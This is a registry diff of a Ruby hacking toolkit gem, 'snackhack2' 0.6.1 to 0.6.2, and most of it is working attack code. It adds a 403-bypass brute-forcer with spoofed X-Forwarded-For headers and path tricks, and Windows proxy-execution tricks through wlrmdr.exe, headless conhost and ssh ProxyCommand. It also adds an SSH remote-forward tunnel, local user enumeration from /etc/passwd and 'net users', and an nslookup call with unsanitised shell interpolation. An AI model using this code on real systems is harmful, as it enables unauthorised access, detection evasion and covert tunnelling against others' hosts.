snackhack2 0.6.1 → 0.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/bannergrabber.rb +2 -2
- data/lib/snackhack2/bypass_403.rb +66 -0
- data/lib/snackhack2/comments.rb +25 -0
- data/lib/snackhack2/forward_remote.rb +24 -23
- data/lib/snackhack2/google_analytics.rb +2 -2
- data/lib/snackhack2/indirect_command_injection.rb +32 -27
- data/lib/snackhack2/iplookup.rb +17 -3
- data/lib/snackhack2/list_users.rb +23 -0
- data/lib/snackhack2/lists/directory-list-2.3-big.txt +1273818 -0
- data/lib/snackhack2/phone_number.rb +2 -3
- data/lib/snackhack2/portscan.rb +31 -11
- data/lib/snackhack2/reverse_shell.rb +9 -6
- data/lib/snackhack2/robots.rb +1 -0
- data/lib/snackhack2/screenshots.rb +23 -21
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +2 -1
- data/lib/snackhack2/website_links.rb +2 -2
- data/lib/snackhack2/website_meta.rb +2 -1
- data/lib/snackhack2/wordpress.rb +10 -5
- data/lib/snackhack2.rb +10 -4
- metadata +6 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: ab5b9ab3360ee0edf4aebebb39d15bf2d476382a6e49757e5241007ad87dacee
|
4
|
+
data.tar.gz: e0f1ac96d8aa01aab3dfe76e2baa1605b187e1f7eb86547b1e8097fdd9a0ac0d
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 0a5afe40c0e459cc5ded9dd89a4a52a5f9e571c3f38e8bafc8cb7b6fc0185e2899e5999dbec81624a1b1e25d3ecb67e4397e8fff6355342d42a2844c8d9604d1
|
7
|
+
data.tar.gz: d2f3e5610560723fc9bc0ed0b8cc5e02cd46107f079209584527a45e386ec3ca024d7f027aea4a40eb9473e3756366298c201d6908324ad6a2be401a09aa089a
|
@@ -13,7 +13,7 @@ module Snackhack2
|
|
13
13
|
end
|
14
14
|
|
15
15
|
def site
|
16
|
-
|
16
|
+
#@site.gsub('https://', '')
|
17
17
|
end
|
18
18
|
|
19
19
|
def run
|
@@ -49,7 +49,7 @@ module Snackhack2
|
|
49
49
|
|
50
50
|
def apache2
|
51
51
|
if @headers['server'].match(/Apache/)
|
52
|
-
puts "[+] Server is running
|
52
|
+
puts "[+] Server is running Apache2... Now checking #{File.join(@site, "server-status")}..."
|
53
53
|
apache = Snackhack2::get(File.join(@site, "server-status"))
|
54
54
|
if apache.code == 200
|
55
55
|
puts "Check #{@site}/server-status"
|
@@ -0,0 +1,66 @@
|
|
1
|
+
require 'async'
|
2
|
+
require 'httparty'
|
3
|
+
module Snackhack2
|
4
|
+
class BypassHTTP
|
5
|
+
attr_accessor :site, :wordlist, :bypass
|
6
|
+
|
7
|
+
def initialize
|
8
|
+
@site = site
|
9
|
+
@wordlist = File.join(__dir__, 'lists', 'directory-list-2.3-big.txt')
|
10
|
+
@bypass = "//"
|
11
|
+
end
|
12
|
+
|
13
|
+
def forward_for
|
14
|
+
File.readlines(@wordlist).each do |r|
|
15
|
+
r = r.strip
|
16
|
+
Async do
|
17
|
+
url = File.join(@site, @bypass, r)
|
18
|
+
r = HTTParty.get(url, :headers => {
|
19
|
+
"X-Forwarded-For": "127.0.0.1"
|
20
|
+
})
|
21
|
+
puts url
|
22
|
+
puts r.code
|
23
|
+
puts "\n"
|
24
|
+
end
|
25
|
+
end
|
26
|
+
end
|
27
|
+
|
28
|
+
def web_request(bypass)
|
29
|
+
File.readlines(@wordlist).each do |r|
|
30
|
+
r = r.strip
|
31
|
+
Async do
|
32
|
+
url = File.join(@site, bypass, r)
|
33
|
+
r = Snackhack2::get(url)
|
34
|
+
puts url
|
35
|
+
puts r.code
|
36
|
+
puts "\n"
|
37
|
+
end
|
38
|
+
end
|
39
|
+
end
|
40
|
+
|
41
|
+
def basic
|
42
|
+
web_request("//")
|
43
|
+
end
|
44
|
+
|
45
|
+
def uppercase
|
46
|
+
File.readlines(@wordlist).each do |r|
|
47
|
+
r = r.strip.gsub(/./) { |s| s.send(%i[upcase downcase].sample) }
|
48
|
+
Async do
|
49
|
+
url = File.join(@site, r)
|
50
|
+
puts url
|
51
|
+
r = Snackhack2::get(url)
|
52
|
+
puts r.code
|
53
|
+
puts "\n"
|
54
|
+
end
|
55
|
+
end
|
56
|
+
end
|
57
|
+
|
58
|
+
def url_encode
|
59
|
+
web_request("%2e")
|
60
|
+
end
|
61
|
+
|
62
|
+
def dots
|
63
|
+
web_request("..;/")
|
64
|
+
end
|
65
|
+
end
|
66
|
+
end
|
@@ -0,0 +1,25 @@
|
|
1
|
+
module Snackhack2
|
2
|
+
class Comments
|
3
|
+
attr_accessor :site
|
4
|
+
|
5
|
+
def initialize
|
6
|
+
@site = site
|
7
|
+
end
|
8
|
+
|
9
|
+
def run
|
10
|
+
c = Snackhack2::get(@site)
|
11
|
+
|
12
|
+
if c.code == 200
|
13
|
+
body = c.body.split("\n")
|
14
|
+
body.each_with_index do |l, i|
|
15
|
+
line = l.strip
|
16
|
+
if line.start_with?("<!--")
|
17
|
+
puts body[i].next
|
18
|
+
end
|
19
|
+
end
|
20
|
+
else
|
21
|
+
puts "Status Code: #{c.code}\n"
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
end
|
@@ -1,23 +1,24 @@
|
|
1
|
-
require 'net/ssh'
|
2
|
-
module Snackhack2
|
3
|
-
class SSHForwardRemote
|
4
|
-
attr_accessor :site, :user, :pass, :key, :lport, :lsite, :rport
|
5
|
-
|
6
|
-
def initialize
|
7
|
-
@site = site
|
8
|
-
@user = user
|
9
|
-
@pass = pass
|
10
|
-
@key = key
|
11
|
-
@lport = lport
|
12
|
-
@lsite = lsite
|
13
|
-
@rport = rport
|
14
|
-
end
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
end
|
1
|
+
require 'net/ssh'
|
2
|
+
module Snackhack2
|
3
|
+
class SSHForwardRemote
|
4
|
+
attr_accessor :site, :user, :pass, :key, :lport, :lsite, :rport
|
5
|
+
|
6
|
+
def initialize
|
7
|
+
@site = site
|
8
|
+
@user = user
|
9
|
+
@pass = pass
|
10
|
+
@key = key
|
11
|
+
@lport = lport
|
12
|
+
@lsite = lsite
|
13
|
+
@rport = rport
|
14
|
+
end
|
15
|
+
|
16
|
+
def run
|
17
|
+
Net::SSH.start(@site, @user, :password => @pass, :keys => @key) do |ssh|
|
18
|
+
ssh.forward.remote(@lport, @lsite, @rport)
|
19
|
+
puts "[+] Starting SSH remote forward tunnel"
|
20
|
+
ssh.loop { true }
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
@@ -1,27 +1,32 @@
|
|
1
|
-
module Snackhack2
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
1
|
+
module Snackhack2
|
2
|
+
class CommandInjection
|
3
|
+
attr_accessor :exe, :title, :prompt
|
4
|
+
|
5
|
+
def initialize
|
6
|
+
@exe = "calc.exe"
|
7
|
+
@title = "Click me!"
|
8
|
+
@prompt = "To run calculator"
|
9
|
+
end
|
10
|
+
|
11
|
+
def wlrmdr_With_prompt
|
12
|
+
Process.spawn("wlrmdr.exe -s 3600 -f 0 -t #{title} -m #{@prompt} -a 10 -u #{@exe}")
|
13
|
+
end
|
14
|
+
|
15
|
+
def wlrmdr_without_prompt
|
16
|
+
Process.spawn("wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u #{@exe}")
|
17
|
+
end
|
18
|
+
|
19
|
+
def conhost
|
20
|
+
Process.spawn("conhost.exe #{@exe}")
|
21
|
+
end
|
22
|
+
|
23
|
+
def conhost_hide
|
24
|
+
# Specify --headless parameter to hide child process window (if applicable)
|
25
|
+
Process.spawn("conhost.exe --headless #{@exe}")
|
26
|
+
end
|
27
|
+
|
28
|
+
def ssh
|
29
|
+
Process.spawn("ssh -o ProxyCommand=#{@exe} .")
|
30
|
+
end
|
31
|
+
end
|
32
|
+
end
|
data/lib/snackhack2/iplookup.rb
CHANGED
@@ -1,14 +1,16 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
|
-
|
2
|
+
require 'socket'
|
3
3
|
module Snackhack2
|
4
4
|
class IpLookup
|
5
|
-
|
5
|
+
attr_accessor :site
|
6
|
+
def initialize
|
6
7
|
@site = site
|
7
8
|
end
|
8
9
|
|
9
10
|
def run
|
10
11
|
get_ip
|
11
12
|
nslookup
|
13
|
+
socket
|
12
14
|
end
|
13
15
|
|
14
16
|
def get_ip
|
@@ -22,10 +24,22 @@ module Snackhack2
|
|
22
24
|
end
|
23
25
|
|
24
26
|
def nslookup
|
27
|
+
ips = []
|
25
28
|
ns = `nslookup #{@site.gsub('https://', '')}`.lines
|
26
29
|
ns.each do |ip|
|
27
|
-
|
30
|
+
new_ip = ip.gsub("Address: ", "").strip if ip.include?('Address')
|
31
|
+
if !ips.include?(new_ip)
|
32
|
+
if !new_ip.nil?
|
33
|
+
ips << new_ip
|
34
|
+
end
|
35
|
+
end
|
28
36
|
end
|
37
|
+
Snackhack2::file_save(@site, "ip_lookup", ips.to_a.drop(1).join("\n"))
|
38
|
+
|
39
|
+
end
|
40
|
+
|
41
|
+
def socket
|
42
|
+
puts IPSocket::getaddress(@site.gsub("https://", ""))
|
29
43
|
end
|
30
44
|
end
|
31
45
|
end
|
@@ -0,0 +1,23 @@
|
|
1
|
+
module Snackhack2
|
2
|
+
class ListUsers
|
3
|
+
attr_accessor :user
|
4
|
+
|
5
|
+
def initialize
|
6
|
+
@user = user
|
7
|
+
end
|
8
|
+
|
9
|
+
def linux
|
10
|
+
`cat /etc/passwd`.split("\n").each do |l|
|
11
|
+
puts l.split(":")[0]
|
12
|
+
end
|
13
|
+
end
|
14
|
+
|
15
|
+
def windows
|
16
|
+
puts `net users`
|
17
|
+
end
|
18
|
+
|
19
|
+
def windows_search_user
|
20
|
+
puts `net user #{@user}`
|
21
|
+
end
|
22
|
+
end
|
23
|
+
end
|